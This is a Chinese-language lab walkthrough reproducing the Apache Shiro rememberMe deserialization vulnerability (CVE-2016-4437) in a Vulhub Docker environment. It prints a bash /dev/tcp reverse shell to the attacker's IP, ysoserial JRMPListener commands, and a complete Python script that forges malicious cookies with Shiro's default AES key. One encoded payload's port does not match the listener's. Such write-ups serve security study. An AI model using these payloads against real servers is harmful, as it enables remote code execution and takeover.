漏洞复现——Apache Shiro 反序列化漏洞(CVE-2016-4437)

Apache Shiro反序列化漏洞

一、    漏洞概述:

shiro默认使用CookieRememberMeManager,对rememberMe的cookie做了加密处理,在CookieRememberMeManaer类中将cookie中rememberMe字段内容先后进行序列化AES加密Base64编码操作。服务器端识别身份解密处理cookie的流程则是:

(1)获取rememberMe cookie

(2)base64 解码

(3)AES解密(加密密钥硬编码)

(4)反序列化(未作过滤处理)

但是AES加密的密钥Key被硬编码(密钥初始就被定义好不能动态改变的)在代码里,这就意味着每个人通过源代码都能拿到AES加密的密钥。因此,攻击者可以构造一个恶意的对象,并且对其序列化、AES加密、base64编码后,作为cookie的rememberMe字段发送。Shiro将rememberMe进行解密并且反序列化,最终就造成了反序列化的RCE漏洞。只要rememberMe的AES加密密钥泄露,无论shiro是什么版本都可能会导致该漏洞的产生。

二、    影响版本:

Apache Shiro <= 1.2.4

三、    环境搭建:

靶机:Ubuntu20.04.1-Vulhub(IP:192.168.77.191

攻击机:Kali Linux(IP:192.168.77.155

  1.docker pull medicean/vulapps:s_shiro_1 //拉取镜像

漏洞复现——Apache Shiro 反序列化漏洞(CVE-2016-4437)

  2.docker run -d -p 8080:8080 medicean/vulapps:s_shiro_1

漏洞复现——Apache Shiro 反序列化漏洞(CVE-2016-4437)

  3.查看对应端口并用浏览器访问,漏洞环境搭建成功

漏洞复现——Apache Shiro 反序列化漏洞(CVE-2016-4437)

注:接下来配置Kali的环境

  4.安装jdk环境,Kali自带的是openjdk,我们要安装的是Oraclejdk

漏洞复现——Apache Shiro 反序列化漏洞(CVE-2016-4437)

漏洞复现——Apache Shiro 反序列化漏洞(CVE-2016-4437)

漏洞复现——Apache Shiro 反序列化漏洞(CVE-2016-4437)

注:

gedit /etc/profile 在底部添加环境变量

export JAVA_HOME=/usr/local/java/jdk1.8.0_251

export CLASSPATH=.:${JAVA_HOME}/lib

export PATH=${JAVA_HOME}/bin:$PATH

保存完成之后

source /etc/profile 使环境变量生效

ln -s /usr/local/java/jdk1.8.0_251/bin/java /usr/bin/java 添加软链接

漏洞复现——Apache Shiro 反序列化漏洞(CVE-2016-4437)

  5.查看是否安装成功

漏洞复现——Apache Shiro 反序列化漏洞(CVE-2016-4437)

  6.安装mvn

漏洞复现——Apache Shiro 反序列化漏洞(CVE-2016-4437)

mv -f apache-maven-3.3.9 /usr/local/
gedit /etc/profile 配置环境变量,在底部添加如下配置
export MAVEN_HOME=/usr/local/apache-maven-3.3.9
export PATH=${PATH}:${MAVEN_HOME}/bin
source /etc/profile 重载环境变量

 

漏洞复现——Apache Shiro 反序列化漏洞(CVE-2016-4437)

  7.查看是否安装成功

漏洞复现——Apache Shiro 反序列化漏洞(CVE-2016-4437)

  8.获取复现需要用到的ysoserial工具

注:ysoserial是一款目前最流行的Java反序列化Payload生成工具,目前支持29种的Payload生成。

git clone https://github.com/frohoff/ysoserial.git
cd ysoserial
mvn package -D skipTests

漏洞复现——Apache Shiro 反序列化漏洞(CVE-2016-4437)

四、    漏洞复现:

  1.访问URL并通过burp抓包,判断环境是否存在shiro

注:查看返回包中Set-Cookie中是否存在rememberMe=deleteMe字段;登录抓包时记得,点这个remember Me

漏洞复现——Apache Shiro 反序列化漏洞(CVE-2016-4437)

漏洞复现——Apache Shiro 反序列化漏洞(CVE-2016-4437)

  2.本地端口监听

nc -vnlp 8879

漏洞复现——Apache Shiro 反序列化漏洞(CVE-2016-4437)

  3.反弹shell的指令

bash -i >& /dev/tcp/192.168.77.155/8879 0>&1

  4.将反弹shell指令base64加密

注:http://www.jackson-t.ca/runtime-exec-payloads.html(在这进行加密)

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljc3LjE1NS8xMjM0IDA+JjEK}|{base64,-d}|{bash,-i}

 

  5.运行指令

注:通过 ysoserial中的JRMP监听模块,监听7788端口并执行反弹shell命令

java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 7788 CommonsCollections4 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljc3LjE1NS84ODc5IDA+JjEK}|{base64,-d}|{bash,-i}'

 

漏洞复现——Apache Shiro 反序列化漏洞(CVE-2016-4437)

  6.伪造cookie内容

python shiro.py 192.168.77.155:7788

 

漏洞复现——Apache Shiro 反序列化漏洞(CVE-2016-4437)

注:shiro.py如下

import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES
def encode_rememberme(command):
    popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
    BS = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
    iv = uuid.uuid4().bytes
    encryptor = AES.new(key, AES.MODE_CBC, iv)
    file_body = pad(popen.stdout.read())
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
    return base64_ciphertext
 
if __name__ == '__main__':
    payload = encode_rememberme(sys.argv[1])   
print "rememberMe={0}".format(payload.decode())

  7.伪造的Cookie值插入

漏洞复现——Apache Shiro 反序列化漏洞(CVE-2016-4437)

  8.查看反弹shell

漏洞复现——Apache Shiro 反序列化漏洞(CVE-2016-4437)

上一篇:Java RMI Registry 反序列化漏洞(<=jdk8u111)


下一篇:centos GPG简单使用